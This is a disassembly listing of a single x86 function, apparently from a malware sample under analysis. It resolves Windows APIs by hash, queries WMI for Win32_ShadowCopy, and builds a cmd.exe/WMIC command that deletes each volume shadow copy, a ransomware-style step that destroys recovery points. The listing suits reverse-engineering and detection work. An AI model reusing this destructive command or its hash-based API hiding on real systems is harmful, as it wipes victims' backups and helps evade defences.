Function at 0x403a00
Capabilities:
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x880
mov eax, dword [0x41b050]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x41e520]
push esi
mov ecx, dword [eax + 0x11c]
push edi
test ecx, ecx
jne 0x403a6a
push str.Ole32.dll
mov dword [ebp - 0x864], ecx
call dword [0x41e57c]
test eax, eax
je 0x403a5d
lea ecx, [ebp - 0x864]
push ecx
mov edx, 0x2bdbdf4e
mov ecx, eax
call fcn.004019e0
mov ecx, dword [ebp - 0x864]
sub ecx, 2
mov dword [ebp - 0x864], ecx
jmp 0x403a5f
xor ecx, ecx
mov eax, dword [0x41e520]
mov dword [eax + 0x11c], ecx
push 0
push 0
call ecx
test eax, eax
js 0x403c48
sub esp, 0x1c
call fcn.004035c0
test eax, eax
js 0x403c43
mov eax, dword [0x41e520]
mov dword [ebp - 0x84c], 0
mov ecx, dword [eax + 0x110]
test ecx, ecx
jne 0x403ae7
push str.Ole32.dll
mov dword [ebp - 0x860], ecx
call dword [0x41e57c]
test eax, eax
je 0x403ada
lea ecx, [ebp - 0x860]
push ecx
mov edx, 0xb32feeec
mov ecx, eax
call fcn.004019e0
mov ecx, dword [ebp - 0x860]
sub ecx, 2
mov dword [ebp - 0x860], ecx
jmp 0x403adc
xor ecx, ecx
mov eax, dword [0x41e520]
mov dword [eax + 0x110], ecx
lea eax, [ebp - 0x84c]
push eax
push 0x41823c
push 1
push 0
push 0x41830c
call ecx
mov eax, dword [0x41e520]
mov dword [ebp - 0x854], 0
mov ecx, dword [eax + 0x4c]
test ecx, ecx
jne 0x403b57
push str.Kernel32.dll
mov dword [ebp - 0x85c], ecx
call dword [0x41e57c]
test eax, eax
je 0x403b4d
lea ecx, [ebp - 0x85c]
push ecx
mov edx, 0xdf1af05e
mov ecx, eax
call fcn.004019e0
mov ecx, dword [ebp - 0x85c]
sub ecx, 2
mov dword [ebp - 0x85c], ecx
jmp 0x403b4f
xor ecx, ecx
mov eax, dword [0x41e520]
mov dword [eax + 0x4c], ecx
lea eax, [ebp - 0x844]
push eax
call ecx
cmp word [ebp - 0x844], 9
jne 0x403bdd
lea eax, [ebp - 0x854]
push eax
push 0x41827c
push ecx
mov ecx, 0x41831c
call fcn.004034c0
test eax, eax
js 0x403c43
mov ecx, str.__ProviderArchitecture
call fcn.00403640
lea ecx, [ebp - 0x820]
mov esi, eax
call fcn.004036b0
mov ecx, dword [ebp - 0x854]
mov eax, 3
mov word [ebp - 0x820], ax
lea eax, [ebp - 0x820]
push eax
push 0
mov dword [ebp - 0x818], 0x40
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x20]
lea ecx, [ebp - 0x820]
mov esi, eax
call fcn.00403720
test esi, esi
js 0x403c43
mov ecx, str.ROOTCIMV2
mov dword [ebp - 0x848], 0
call fcn.00403640
mov ecx, dword [ebp - 0x84c]
lea esi, [ebp - 0x848]
mov edx, dword [ecx]
push esi
push dword [ebp - 0x854]
push 0
push 0
push 0
push 0
push 0
push eax
push ecx
call dword [edx + 0xc]
test eax, eax
js 0x403c37
mov ecx, dword [ebp - 0x848]
sub esp, 0x18
call fcn.00403540
test eax, eax
jns 0x403c5a
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x84c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call fcn.00403450
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040ae85
mov esp, ebp
pop ebp
ret
mov ecx, 0x418610
call fcn.00403640
mov ecx, str.SELECT__FROM_Win32_ShadowCopy
mov esi, eax
call fcn.00403640
mov ecx, dword [ebp - 0x848]
lea edi, [ebp - 0x850]
push edi
push 0
push 0x30
push eax
mov dword [ebp - 0x850], 0
mov edx, dword [ecx]
push esi
push ecx
call dword [edx + 0x50]
test eax, eax
jns 0x403cae
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x84c]
jmp 0x403e05
mov ecx, dword [ebp - 0x850]
mov dword [ebp - 0x868], 0
mov dword [ebp - 0x80c], 0
test ecx, ecx
je 0x403dd7
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, dword [ecx]
lea edx, [ebp - 0x80c]
push edx
lea edx, [ebp - 0x868]
push edx
push 1
push 0xffffffffffffffff
push ecx
call dword [eax + 0x10]
cmp dword [ebp - 0x80c], 0
je 0x403dd7
mov eax, dword [ebp - 0x868]
push 0
mov ecx, dword [eax]
push 0
lea edx, [ebp - 0x880]
push edx
push 0
push 0x418658
push eax
call dword [ecx + 0x10]
mov ecx, 0x800
lea eax, [ebp - 0x808]
mov byte [eax], 0
lea eax, [eax + 1]
dec ecx
jne 0x403d24
push dword [ebp - 0x878]
lea eax, [ebp - 0x808]
push str.cmd.exe__c_C:WindowsSystem32wbemWMIC.exe_shadowcopy_where__ID_s__delete
push eax
call esi
mov eax, dword [0x41e520]
add esp, 0xc
mov ecx, dword [eax + 0x20]
test ecx, ecx
jne 0x403d93
push str.Kernel32.dll
mov dword [ebp - 0x858], ecx
call dword [0x41e57c]
test eax, eax
je 0x403d89
lea ecx, [ebp - 0x858]
push ecx
mov edx, 0x1972bf90
mov ecx, eax
call fcn.004019e0
mov ecx, dword [ebp - 0x858]
sub ecx, 2
mov dword [ebp - 0x858], ecx
jmp 0x403d8b
xor ecx, ecx
mov eax, dword [0x41e520]
mov dword [eax + 0x20], ecx
lea eax, [ebp - 0x86c]
push eax
call ecx
lea ecx, [ebp - 0x808]
call fcn.00403790
mov ecx, dword [ebp - 0x86c]
call fcn.00402fe0
lea ecx, [ebp - 0x880]
call fcn.00403720
mov eax, dword [ebp - 0x868]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov ecx, dword [ebp - 0x850]
test ecx, ecx
jne 0x403cd6
mov ecx, dword [ebp - 0x854]
test ecx, ecx
je 0x403de7
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov eax, dword [ebp - 0x848]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x84c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x850]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.00403450
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0040ae85
mov esp, ebp
pop ebp
ret